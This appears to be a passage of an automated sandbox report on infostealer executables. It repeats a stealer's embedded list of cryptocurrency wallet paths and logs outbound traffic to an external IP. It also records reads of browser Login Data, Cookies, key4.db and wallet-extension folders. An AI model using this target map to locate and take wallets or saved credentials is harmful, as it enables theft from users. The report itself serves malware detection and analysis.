Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: c7af53ccad.exe, 00000007.00000002.2791610731.0000000001187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3h
Source: 7847e34378.exe, 0000000B.00000002.3272425703.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113Users\user\AppData\Roaming\Binance\simple-storage.json
Source: c7af53ccad.exe, 00000007.00000002.2791093014.0000000001129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: c7af53ccad.exe, 00000006.00000002.2391195387.00000000050E0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.4:49811 -> 185.185.71.170:80

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
